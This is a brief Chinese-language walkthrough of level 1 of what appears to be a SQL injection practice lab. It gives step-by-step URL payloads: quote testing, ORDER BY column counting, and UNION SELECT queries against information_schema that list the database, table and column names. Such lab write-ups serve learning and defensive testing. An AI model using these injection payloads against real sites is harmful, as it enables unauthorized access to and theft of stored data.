less1

1.按照提示在url处输入?id=1

添加'查看是否存在注入点:(是字符型)

2.使用order by查看列数(只有by 4报错,得出3列)

?id=1' order by 4%23
?id=1' order by 1%23
?id=1' order by 3%23

测试回显位:(应该在第三位)

?id=-1' union select  1,2,3%23

爆库名:(security)

?id=-1' union select  1,2,database()%23

爆表名:(emails,referers,uagents,users)

-1' union select  1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

爆列名:

?id=-1' union select  1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23

tips:没有flag总感觉少点什么,就好像在游玩没有目标的沙盒游戏一样